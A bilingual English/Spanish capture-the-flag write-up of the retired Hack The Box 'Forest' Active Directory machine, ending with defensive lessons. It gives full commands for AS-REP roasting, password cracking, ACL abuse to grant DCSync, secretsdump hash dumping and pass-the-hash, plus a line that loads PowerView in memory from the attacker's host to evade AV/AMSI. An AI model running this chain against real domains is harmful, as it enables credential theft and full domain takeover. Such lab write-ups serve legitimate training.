Forest
Executive summary — Forest is a textbook Easy Active Directory Windows box: anonymous enumeration of the domain, AS-REP Roasting of
svc-alfresco(no Kerberos pre-auth), WinRM access, and an ACL-abuse escalation — membership in Account Operators plus WriteDACL from the Exchange Windows Permissions group — to grant ourselves DCSync and dump the Administrator hash. An AS-REP → WinRM → BloodHound/ACL → PowerView/DCSync → PtH path.
| Platform | Hack The Box |
| Operating system | Windows (Active Directory) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.8.78 |
Attack map
[53/88/135/139/389/445/464/593/3268/5985] Active Directory (DC) · anonymous SMB enumeration
│ netexec --users → Administrator, svc-alfresco, sebastien, lucinda, andy, mark, santi...
▼
[AS-REP] svc-alfresco without Kerberos pre-auth → GetNPUsers → $krb5asrep$
│ john + rockyou.txt → «s3rvice»
▼
[WINRM] svc-alfresco (Evil-WinRM) → user.txt
│ BloodHound: svc-alfresco → Account Operators (creates users) + Exchange Windows
│ Permissions (WriteDACL over the domain)
▼
[ACL ABUSE] create htbuser → add it to Exchange Windows Permissions →
PowerView Add-DomainObjectAcl -Rights DCSync
▼
[DCSYNC] secretsdump with htbuser → Administrator NTLM hash → Pass-the-Hash → root.txt
1. Environment setup
As with any Active Directory box, the first step is resolving the domain name. We add the DC to /etc/hosts so Kerberos/LDAP tooling can resolve it correctly:
sudo nano /etc/hosts
# add:
10.129.8.78 forest.htb.local htb.local forest
HTB IPs change between resets, so it's worth double-checking the current IP before starting.
Resumen ejecutivo — Forest es una Windows Easy pero de Active Directory de manual: enumeración anónima del dominio, AS-REP Roasting de
svc-alfresco(sin preautenticación Kerberos), acceso por WinRM, y una escalada por abuso de ACLs — pertenencia a Account Operators más WriteDACL del grupo Exchange Windows Permissions — hasta concedernos DCSync y volcar el hash de Administrator. Recorrido AS-REP → WinRM → BloodHound/ACL → PowerView/DCSync → PtH.
| Plataforma | Hack The Box |
| Sistema operativo | Windows (Active Directory) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.8.78 |
Mapa del ataque
[53/88/135/139/389/445/464/593/3268/5985] Active Directory (DC) · enumeración anónima SMB
│ netexec --users → Administrator, svc-alfresco, sebastien, lucinda, andy, mark, santi...
▼
[AS-REP] svc-alfresco sin preautenticación Kerberos → GetNPUsers → $krb5asrep$
│ john + rockyou.txt → «s3rvice»
▼
[WINRM] svc-alfresco (Evil-WinRM) → user.txt
│ BloodHound: svc-alfresco → Account Operators (crea usuarios) + Exchange Windows
│ Permissions (WriteDACL en el dominio)
▼
[ACL ABUSE] crear htbuser → meterlo en Exchange Windows Permissions →
PowerView Add-DomainObjectAcl -Rights DCSync
▼
[DCSYNC] secretsdump con htbuser → hash NTLM de Administrator → Pass-the-Hash → root.txt
1. Preparación del entorno
Como en cualquier máquina de Active Directory, lo primero es resolver el nombre de dominio. Añadimos el DC a /etc/hosts para que las herramientas de Kerberos/LDAP lo resuelvan correctamente:
sudo nano /etc/hosts
# añadir:
10.129.8.78 forest.htb.local htb.local forest
Las IP de HTB cambian entre resets, así que conviene comprobar siempre la IP actual antes de empezar.
2. Nmap reconnaissance
nmap -Pn -sC -sV 10.129.8.78
nmap -Pn -p- --min-rate=1500 10.129.8.78 -oN forest_allports.txt
53 DNS
88 Kerberos
135 RPC
139 NetBIOS
389 LDAP
445 SMB
464 Kerberos password change
593 RPC over HTTP
3268 LDAP Global Catalog
5985 WinRM
A textbook Domain Controller: Kerberos (88), LDAP (389/3268), SMB (445) and WinRM (5985) together confirm this is an AD DC, not a standalone Windows box.
3. Anonymous domain enumeration
Forest allows a fair amount of enumeration without credentials over SMB. We pull the domain's user list with netexec:
netexec smb 10.129.8.78 -u '' -p '' --users | awk '{print $5}' > usersforest.txt
The raw output carries noise (banners, dashes, headers), so we clean the file up:
cat usersforest.txt | grep -v "\[" | grep -v "-" > users.txt
cat users.txt
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
Ten domain accounts without supplying a single credential.
svc-alfrescostands out for thesvc-prefix: service accounts, and they're usually the weakest link.
4. AS-REP Roasting — svc-alfresco
What AS-REP Roasting is: if a user has Kerberos pre-authentication disabled (DONT_REQ_PREAUTH), the KDC answers a request for an AS-REP ticket without validating any password. That ticket is encrypted with a key derived from the user's password, so all we need to do is request it and crack it offline. With the cleaned user list, we try GetNPUsers against everyone at once:
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.129.8.78 -no-pass -request
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...
Only svc-alfresco has pre-authentication disabled; every other account returns nothing. We save the full hash to hash.txt.
5. Cracking the hash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
s3rvice
Credentials obtained: svc-alfresco / s3rvice.
6. Validating credentials
Before touching the box, we confirm the username/password pair works for both SMB and WinRM:
netexec smb 10.129.8.78 -u svc-alfresco -p s3rvice
netexec winrm 10.129.8.78 -u svc-alfresco -p s3rvice
7. Initial access — WinRM
evil-winrm -i 10.129.8.78 -u svc-alfresco -p 's3rvice'
type C:\Users\svc-alfresco\Desktop\user.txt
PowerShell shell as svc-alfresco and user.txt captured.
8. Domain enumeration with BloodHound
This is where the escalation path lives. We collect all the domain's ACLs, group memberships and sessions from Kali, using the credentials we already have:
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.129.8.78 -c All --zip
Importing the
.zipinto BloodHound, the path to Domain Admin becomes clear:svc-alfrescobelongs to the Account Operators group (can create user objects in the domain), and the Exchange Windows Permissions group hasWriteDACLover the domain object — meaning any member of that group can rewrite the domain's own permissions, including granting themselves replication rights (DCSync).
svc-alfresco
↓ (Account Operators)
creates a new user
↓ (adds it to Exchange Windows Permissions)
WriteDACL over the domain
↓ (grants itself DCSync)
DCSync → Administrator
9. Escalation — ACL abuse to DCSync
The reliable way to chain both privileges: since svc-alfresco can create users (Account Operators), we create one of our own and add it to the WriteDACL group:
net user htbuser Password123! /add /domain
net group "Exchange Windows Permissions" htbuser /add
With the user now inside Exchange Windows Permissions, we use PowerView to exploit the WriteDACL and grant ourselves replication rights. We serve the script from Kali and load it in memory via IEX (avoids touching disk and dodges basic AV/AMSI):
python3 -m http.server 8000 # from the folder holding PowerView.ps1
ip a # our HTB VPN IP, e.g. 10.10.14.X
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.X:8000/PowerView.ps1')
What DCSync is: the replication rights (DS-Replication-Get-Changes[-All]) that normally only DCs hold towards each other; with them, any host can ask the domain controller for every password hash (including Administrator and krbtgt) as if it were just another DC. We build a credential for our new user and grant those rights with Add-DomainObjectAcl:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\htbuser', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity htbuser -Rights DCSync
With the ACL rewritten, we go back to Kali and dump the whole domain with secretsdump, authenticating as the user we just created:
impacket-secretsdump htb.local/htbuser:'Password123!'@10.129.8.78
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTLM hash>:::
10. Root — Pass-the-Hash
With the Administrator NTLM hash, there's nothing to crack: we authenticate directly over WinRM by passing the hash (Pass-the-Hash):
evil-winrm -i 10.129.8.78 -u Administrator -H <NTLM hash>
type C:\Users\Administrator\Desktop\root.txt
Domain fully compromised: from anonymous enumeration to Domain Admin. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | AD (SMB) | Anonymous domain user enumeration | List of 10 valid accounts |
| Foothold | Kerberos | AS-REP Roasting (svc-alfresco without pre-auth) | WinRM as svc-alfresco + user.txt |
| PrivEsc | AD ACLs | Account Operators (create users) + Exchange Windows Permissions (WriteDACL) → DCSync | Administrator NTLM hash |
| Root | WinRM | Pass-the-Hash with the Administrator hash | Domain Admin + root.txt |
Lessons learned
- Disable anonymous enumeration over SMB/LDAP on the DC; any user list is the starting point of a password-guessing attack.
- AS-REP Roasting: don't leave accounts (especially service accounts) without Kerberos pre-auth, and use long, random passwords for them.
- Watch Account Operators: it allows creating domain users; combined with any weak ACL downstream, it's an escalation path.
- AD ACLs are a minefield: a WriteDACL left over from an Exchange install (Exchange Windows Permissions) can end in DCSync. Audit them with BloodHound regularly, not just once.
- DCSync = game over: restrict who holds the domain's replication rights and monitor their use (event 4662).
2. Reconocimiento con Nmap
nmap -Pn -sC -sV 10.129.8.78
nmap -Pn -p- --min-rate=1500 10.129.8.78 -oN forest_allports.txt
53 DNS
88 Kerberos
135 RPC
139 NetBIOS
389 LDAP
445 SMB
464 Kerberos password change
593 RPC over HTTP
3268 LDAP Global Catalog
5985 WinRM
Un Domain Controller de manual: Kerberos (88), LDAP (389/3268), SMB (445) y WinRM (5985) juntos confirman que es un DC de Active Directory, no un Windows suelto.
3. Enumeración anónima del dominio
Forest permite bastante enumeración sin credenciales por SMB. Sacamos la lista de usuarios del dominio con netexec:
netexec smb 10.129.8.78 -u '' -p '' --users | awk '{print $5}' > usersforest.txt
La salida cruda trae ruido (banners, guiones, cabeceras), así que limpiamos el archivo:
cat usersforest.txt | grep -v "\[" | grep -v "-" > users.txt
cat users.txt
Administrator
Guest
krbtgt
DefaultAccount
sebastien
lucinda
svc-alfresco
andy
mark
santi
Diez cuentas de dominio sin haber aportado ni una credencial.
svc-alfrescodestaca por el prefijosvc-: cuentas de servicio, y suelen ser el eslabón más débil.
4. AS-REP Roasting — svc-alfresco
Qué es AS-REP Roasting: si a un usuario se le ha desactivado la preautenticación Kerberos (DONT_REQ_PREAUTH), el KDC responde a la petición de un ticket AS-REP sin comprobar ninguna contraseña. El ticket va cifrado con el hash derivado de la contraseña del usuario, así que basta con pedirlo y crackearlo offline. Con la lista de usuarios ya limpia, probamos con GetNPUsers contra todos a la vez:
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.129.8.78 -no-pass -request
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...
Solo svc-alfresco tiene la preautenticación desactivada; el resto de cuentas no devuelven nada. Guardamos el hash completo en hash.txt.
5. Crackeo del hash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
s3rvice
Credenciales obtenidas: svc-alfresco / s3rvice.
6. Validar credenciales
Antes de entrar a la máquina, comprobamos que el par usuario/contraseña es válido tanto para SMB como para WinRM:
netexec smb 10.129.8.78 -u svc-alfresco -p s3rvice
netexec winrm 10.129.8.78 -u svc-alfresco -p s3rvice
7. Acceso inicial — WinRM
evil-winrm -i 10.129.8.78 -u svc-alfresco -p 's3rvice'
type C:\Users\svc-alfresco\Desktop\user.txt
Shell de PowerShell como svc-alfresco y user.txt capturada.
8. Enumeración del dominio con BloodHound
Aquí está la clave de la escalada. Recolectamos toda la información de ACLs, grupos y sesiones del dominio desde Kali, con las credenciales que ya tenemos:
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.129.8.78 -c All --zip
Al importar el
.zipen BloodHound, la ruta hacia Domain Admin queda clara:svc-alfrescopertenece al grupo Account Operators (puede crear objetos de usuario en el dominio) y el grupo Exchange Windows Permissions tieneWriteDACLsobre el objeto del dominio — es decir, cualquier miembro de ese grupo puede reescribir los permisos del propio dominio, incluido concederse a sí mismo derechos de replicación (DCSync).
svc-alfresco
↓ (Account Operators)
crea un usuario nuevo
↓ (lo mete en Exchange Windows Permissions)
WriteDACL sobre el dominio
↓ (se concede DCSync a sí mismo)
DCSync → Administrator
9. Escalada — abuso de ACLs hasta DCSync
El método fiable para encadenar los dos privilegios: como svc-alfresco puede crear usuarios (Account Operators), creamos uno propio y lo añadimos al grupo con WriteDACL:
net user htbuser Password123! /add /domain
net group "Exchange Windows Permissions" htbuser /add
Con el usuario ya dentro de Exchange Windows Permissions, usamos PowerView para explotar el WriteDACL y otorgarnos derechos de replicación. Servimos el script desde Kali y lo cargamos en memoria vía IEX (evita tocar disco y saltarse AV/AMSI básico):
python3 -m http.server 8000 # en la carpeta con PowerView.ps1
ip a # IP de nuestra VPN de HTB, p.ej. 10.10.14.X
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.X:8000/PowerView.ps1')
Qué es DCSync: son los derechos de replicación (DS-Replication-Get-Changes[-All]) que normalmente solo tienen los DC entre sí; con ellos, cualquier host puede pedirle al controlador de dominio todos los hashes de contraseñas (incluidos Administrator y krbtgt) como si fuera otro DC más. Creamos la credencial del usuario nuevo y se los concedemos con Add-DomainObjectAcl:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\htbuser', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity htbuser -Rights DCSync
Con el ACL ya reescrito, volvemos a Kali y volcamos el dominio completo con secretsdump, autenticando como el usuario recién creado:
impacket-secretsdump htb.local/htbuser:'Password123!'@10.129.8.78
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash NTLM>:::
10. Root — Pass-the-Hash
Con el hash NTLM de Administrator no hace falta crackear nada: nos autenticamos directamente por WinRM pasando el hash (Pass-the-Hash):
evil-winrm -i 10.129.8.78 -u Administrator -H <hash NTLM>
type C:\Users\Administrator\Desktop\root.txt
Dominio comprometido por completo: de una enumeración anónima a Domain Admin. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | AD (SMB) | Enumeración anónima de usuarios del dominio | Lista de 10 cuentas válidas |
| Foothold | Kerberos | AS-REP Roasting (svc-alfresco sin preauth) | WinRM como svc-alfresco + user.txt |
| PrivEsc | ACLs de AD | Account Operators (crear usuarios) + Exchange Windows Permissions (WriteDACL) → DCSync | Hash NTLM de Administrator |
| Root | WinRM | Pass-the-Hash con el hash de Administrator | Domain Admin + root.txt |
Lecciones aprendidas
- Desactiva la enumeración anónima por SMB/LDAP en el DC; cualquier lista de usuarios es el punto de partida de un ataque de contraseñas.
- AS-REP Roasting: no dejes cuentas (sobre todo de servicio) sin preautenticación Kerberos, y usa contraseñas largas y aleatorias para ellas.
- Cuidado con Account Operators: permite crear usuarios de dominio; combinado con cualquier ACL débil aguas abajo, es un camino de escalada.
- Las ACLs de AD son un campo de minas: un WriteDACL heredado de una instalación de Exchange (Exchange Windows Permissions) puede acabar en DCSync. Audítalas con BloodHound de forma periódica, no solo una vez.
- DCSync = juego terminado: restringe quién tiene derechos de replicación del dominio y monitoriza su uso (evento 4662).